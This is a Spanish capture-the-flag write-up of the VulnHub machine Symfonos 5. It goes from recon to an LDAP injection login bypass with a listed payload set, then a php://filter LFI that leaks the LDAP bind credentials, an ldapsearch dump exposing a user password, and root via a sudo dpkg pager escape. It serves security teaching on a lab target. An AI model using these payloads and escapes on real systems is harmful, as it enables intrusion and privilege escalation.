Symfonos 5
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. El puerto 389 (LDAP) y unadmin.phpcon login apuntan a lo mismo: el panel autentica contra LDAP, y poniendo*en usuario y contraseña se cuela un bypass por inyección LDAP. Dentro, la sección Portraits usa un parámetrourlvulnerable a LFI; con php://filter leemos el código deadmin.phpy sacamos las credenciales delbind(admin:qMDdyZh3cT6eeAWD). Con ellas, unldapsearchvuelca el directorio y devuelve la contraseña dezeusen base64 (cetkKf4wCuHC9FET). Por SSH,zeustienesudo dpkg: GTFOBins cierra la caja.
Reconocimiento
Descubrimiento del host
La máquina es una imagen de VulnHub que arranca en la red local, así que lo primero no es escanear puertos sino localizarla. Un barrido ARP la saca entre los vecinos por su MAC de VMware:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.129 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.138 f4:03:2a:28:e7:36 Amazon Technologies Inc.
192.168.1.157 00:0c:29:16:11:ea VMware, Inc.
192.168.1.142 98:01:a7:8a:fa:55 Apple, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.598 seconds (98.54 hosts/sec). 9 respondedUn ping confirma que responde y, de paso, orienta sobre el sistema operativo:
ping -c 1 192.168.1.157
PING 192.168.1.157 (192.168.1.157) 56(84) bytes of data.
64 bytes from 192.168.1.157: icmp_seq=1 ttl=64 time=0.416 ms
--- 192.168.1.157 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0msTTL 64 y sin decrementar, porque la máquina está en el mismo segmento y no hay saltos de routing de por medio. Linux parte de 64 y Windows de 128, así que apunta a Linux; indicio, no prueba.
Escaneo inicial
El escaneo de puertos abre cuatro puertos, y dos de ellos (389 y 636) delatan un servicio LDAP. Ese detalle marca por dónde irá la explotación.
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.1.157
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 63
389/tcp open ldap syn-ack ttl 63
636/tcp open ldapssl syn-ack ttl 63
MAC Address: 00:0C:29:16:11:EA (VMware)Aquí hay ya un detalle que conviene guardar: el 22 responde con ttl 64 y los otros tres con ttl 63. Un salto de diferencia dentro de la misma IP significa que esos servicios no viven en el mismo sitio que el SSH, sino un salto más allá. Es la primera señal de que hay contenedores por medio.
El fichero -oG del escaneo lo resume extractPorts, que además copia la lista al portapapeles para el escaneo dirigido:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.157
Open ports: 22,80,389,636
Ports copied to clipboardnmap -p22,80,389,636 -sCV 192.168.1.157 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
389/tcp open ldap OpenLDAP 2.2.X - 2.3.X
636/tcp open ldapssl?
MAC Address: 00:0C:29:16:11:EA (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelHay un detalle que conviene no pasar por alto: el SSH se identifica como Debian 10 y el Apache como Ubuntu. Dos distribuciones distintas en la misma IP significa que el web no corre sobre el sistema anfitrión, sino dentro de un contenedor. Es una hipótesis que más adelante se confirma sola, cuando el código del panel apunte a un LDAP en 172.18.0.22, una dirección del rango que Docker reserva para sus redes puente.
El OpenLDAP 2.2.X - 2.3.X del 389 confirma además el servicio que ya insinuaba el par 389/636.
Panel /admin.php
La web raíz no tiene ni título. whatweb no añade gran cosa, solo confirma el Apache y el Ubuntu que ya daba el -sCV:
whatweb 192.168.1.157
http://192.168.1.157 [200 OK] Apache[2.4.29], Country[RESERVED][ZZ],
HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.1.157]Y en el navegador, lo mismo: una única imagen a pantalla completa de un Zeus y una extensión Wappalyzer que solo detecta Apache y Ubuntu, sin framework ni lenguaje que rascar.

Ver el código fuente explica el porqué del sitio: es literalmente esa imagen, sin nada más.

<body>
<img src="/static/zeus.jpg">
</body>Ni comentarios, ni scripts, ni formularios. El único dato aprovechable es el nombre del fichero, zeus.jpg, que resultará ser también el del usuario del sistema. Sin superficie en la portada, toca buscar rutas, y añadir -x php es lo que destapa el panel:
dirsearch -u http://192.168.1.157/ --exclude-status=403,404
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://192.168.1.157/
[22:25:58] 200 - 458B - /admin.php
[22:26:14] 302 - 0B - /home.php -> admin.php
[22:26:18] 302 - 0B - /logout.php -> admin.php
[22:26:31] 301 - 315B - /static -> http://192.168.1.157/static/dirsearch prueba extensiones por defecto (php, aspx, jsp, html, js) y por eso encuentra los .php a la primera. gobuster, en cambio, no: sin decirle qué extensiones probar solo ve directorios, y el resultado es casi vacío.
gobuster dir -u http://192.168.1.157 -w <directory-list-2.3-medium.txt> -t 100 -b 404
/static (Status: 301) [Size: 315] [--> http://192.168.1.157/static/]
/server-status (Status: 403) [Size: 278]220563 peticiones para dos resultados, ninguno útil. La diferencia no está en el diccionario sino en el flag: añadir -x php es lo que destapa el panel.
gobuster dir -u http://192.168.1.157 -w <directory-list-2.3-medium.txt> -t 100 -b 404 -x php
/home.php (Status: 302) [Size: 0] [--> admin.php]
/admin.php (Status: 200) [Size: 1650]
/static (Status: 301) [Size: 315] [--> http://192.168.1.157/static/]
/logout.php (Status: 302) [Size: 0] [--> admin.php]
/portraits.php (Status: 200) [Size: 165]
/server-status (Status: 403) [Size: 278]La lista dibuja la aplicación entera de un vistazo: home.php y logout.php responden 302 hacia admin.php, es decir, exigen sesión, mientras que admin.php devuelve 200 con 1650 bytes. Ese es el único punto de entrada sin autenticar, y tiene toda la pinta de ser el panel de login:

Con un LDAP a la vista, la primera prueba es un bypass por inyección.
Acceso al panel: inyección LDAP
Bypass con comodín
Los payloads no hay que inventarlos: HackTricks mantiene una lista de cadenas para saltarse un login autenticado contra LDAP, y la primera de todas es el comodín a secas.

*
*)(&
*)(|(&
pwd)
*)(|(*
*))%00
admin)(&)
pwd
admin)(!(&(|
pwd))
admin))(|(|Si el panel valida con un filtro tipo (&(uid=<user>)(userPassword=<pass>)), poner * en ambos campos lo convierte en "cualquier usuario con cualquier contraseña":

Username: *
Password: *
# -> (&(uid=*)(userPassword=*)) -> acceso concedidoEntramos sin conocer ninguna credencial. La aplicación de dentro es mínima, un "Under Developement" con una barra de tres secciones:

Al pulsar la del medio, la barra de direcciones canta:

http://192.168.1.157/home.php?url=http://127.0.0.1/portraits.phphome.php no enlaza a portraits.php, lo carga a través de un parámetro, y encima por una URL completa contra 127.0.0.1. Un parámetro que acepta un recurso arbitrario y lo incluye es el patrón de manual de un LFI. Que además acepte un esquema (http://) sugiere que detrás hay una función de PHP que resuelve wrappers, cosa que se aprovechará en cuanto haya que leer código.
LFI en el parámetro url
Sustituyendo la URL por una ruta local, el fichero se incluye sin más:

http://192.168.1.157/home.php?url=/etc/passwdComo el propio admin.php autentica contra LDAP, es probable que su código contenga las credenciales del bind. Para leerlo sin que el servidor lo interprete (es PHP), usamos el wrapper de codificación.
Robo del código con php://filter
php://filter devuelve el fichero en base64, que decodificamos en local:
curl 'http://192.168.1.157/home.php?url=php://filter/convert.base64-encode/resource=/var/www/html/admin.php' | base64 -d
192.168.1.157/home.php?url=php://filter/convert.base64-encode/resource=/var/www/html/admin.php
symfonos
PD9waHAKc2Vzc2lvbl9zdGFydCgpOwoKaWYoaXNzZXQoJF9TRVNTU9OWyJsb2dnZWRpbiJdKSAmJiAkX1NFU1NJT05bImxvZ2
Pgo8aHRtbD4KPGhlYWQ+CjxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZT0idGV4dC9jc3MiIGhyZWY9Ii9zdGF0aWMvYm9vdHN0cm
cGhwIGVjaG8gJG1zZzsgPz48L3N0cm9uZz48L2NlbnRlcj4KPC9kaXY+CjwvYm9keT4KPC9odG1sPgoKEl navegador ya no muestra la página renderizada sino un bloque de base64: el wrapper ha interceptado la lectura antes de que el intérprete tocara el fichero. Se copia, se decodifica en local y se lee con resaltado:
echo "<cadena-base64>" | base64 -d > ../content/admin.php
batcat --paging=never admin.php -l php
function authLdap($username, $password) {
$ldap_ch = ldap_connect("ldap://172.18.0.22");
...
$bind = ldap_bind($ldap_ch, "cn=admin,dc=symfonos,dc=local", "qMDdyZh3cT6eeAWD");
...
$filter = "(&(uid=$username)(userPassword=$password))";El código revela el bind: cn=admin,dc=symfonos,dc=local con contraseña qMDdyZh3cT6eeAWD, y el filtro (&(uid=$username)(userPassword=$password)) que confirma por qué funcionó la inyección.
Y cierra además la hipótesis que había dejado abierta el escaneo: el ldap_connect no apunta a localhost ni a la IP de la máquina, sino a 172.18.0.22, del rango que Docker usa por defecto para sus redes puente. El Apache "Ubuntu" sobre un SSH "Debian" ya lo insinuaba; aquí queda a la vista que la web habla con el LDAP a través de una red de contenedores.
Acceso como zeus
Enumerar LDAP con ldapsearch
Con las credenciales del bind volcamos todo el directorio:
ldapsearch -x -H ldap://192.168.1.157 -D "cn=admin,dc=symfonos,dc=local" -w 'qMDdyZh3cT6eeAWD' -b "dc=symfonos,dc=local"
# admin, symfonos.local
dn: cn=admin,dc=symfonos,dc=local
description: LDAP administrator
userPassword:: e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0=
# zeus, symfonos.local
dn: uid=zeus,dc=symfonos,dc=local
uid: zeus
loginShell: /bin/bash
homeDirectory: /home/zeus
userPassword:: Y2V0a0tmNHdDdUhDOUZFVA==
mail: zeus@symfonos.localEl doble dos puntos (userPassword::) no es un capricho de formato: en LDIF significa que el valor va codificado en base64. Los dos se decodifican igual, pero no dan lo mismo:

echo "e1NTSEF9VVdZeHZ1aEEwYldzamZyMmJodHhRYmFwcjllU2dLVm0=" | base64 -d
# {SSHA}UWYxvuhA0bWsjfr2bhtxQbapr9eSgKVm
echo "Y2V0a0tmNHdDdUhDOUZFVA==" | base64 -d
# cetkKf4wCuHC9FETLa de admin es un {SSHA}, un hash salado que habría que romper. La de zeus sale directamente en claro: la base64 no era cifrado, solo transporte. Y su loginShell: /bin/bash dice que es un usuario real del sistema, no una cuenta de directorio, así que la contraseña vale la pena probarla contra el SSH.
SSH como zeus
zeus:cetkKf4wCuHC9FET es válido por SSH:
ssh zeus@192.168.1.157
zeus@192.168.1.157's password:
Linux symfonos5 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
...
Last login: Wed Feb 5 06:14:43 2020 from 172.16.1.1
zeus@symfonos5:~$ id
uid=1000(zeus) gid=1000(zeus) groups=1000(zeus),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)zeus es un usuario normal, sin grupos interesantes para escalar: los que aparecen (cdrom, audio, video…) son los de escritorio que Debian asigna por defecto.
Escalada a root
sudo dpkg
sudo -l
Matching Defaults entries for zeus on symfonos5:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User zeus may run the following commands on symfonos5:
(root) NOPASSWD: /usr/bin/dpkgUna sola entrada, sin contraseña. dpkg ejecutable como root es un GTFOBins: no hay que buscarle un fallo, la propia ficha del binario documenta la vía de escape.

Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be
used to access the file system, escalate or maintain privileged access.
(a) This invokes the default pager, which is likely to be less, other functions may apply.
sudo dpkg -l
!/bin/shEl truco es que dpkg -l pagina su salida con less, y less permite lanzar comandos con !. Como el paginador lo arranca el propio dpkg, que corre como root, la shell que abra también lo será.
sudo dpkg -l
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name Version Architecture
+++-=================-================-============
ii adduser 3.118 all
ii ame 1.0 amd64
ii apparmor 2.13.2-10 amd64
ii apt 1.8.2 amd64Dentro del paginador se escribe el escape (aquí bash en vez del sh de la ficha, que funciona igual):

!/bin/bash
!/bin/bash
root@symfonos5:/# id
uid=0(root) gid=0(root) groups=0(root)
root@symfonos5:~# cat proof.txt
Congrats on rooting symfonos:5!Dentro del paginador de dpkg -l, !/bin/bash escapa a una shell que hereda el UID de sudo: uid=0(root). Nótese que el secure_path del sudoers no protege de nada aquí, porque no hay ningún binario que suplantar: el propio programa autorizado trae la vía de escape de serie.
Caja rooteada.
Cadena de ataque
LDAP (389) + admin.php -> inyección LDAP (*/*) -> acceso al panel
└─> home.php?url= -> LFI -> php://filter lee admin.php
└─> credenciales del bind (admin:qMDdyZh3cT6eeAWD)
└─> ldapsearch -> zeus:cetkKf4wCuHC9FET -> SSH
└─> sudo dpkg (GTFOBins) -> rootLecciones aprendidas
- Un 389/636 abierto orienta toda la caja. El login contra LDAP invita a probar el bypass con comodín antes que cualquier fuerza bruta.
- La inyección LDAP con
*es el "OR 1=1" de los directorios. Un filtro sin escapar convierte "cualquiera con cualquiera" en un acceso válido. - Un LFI sobre un
.phpse lee con php://filter. Así se obtiene el código fuente sin que se ejecute, y con él las credenciales embebidas delbind. - Guardar contraseñas en base64 no es guardarlas. El
userPassworddezeusestaba a unbase64 -dde texto claro. dpkgpor sudo es root. Cualquier binario con paginador ensudo -lsuele permitir un escape a shell.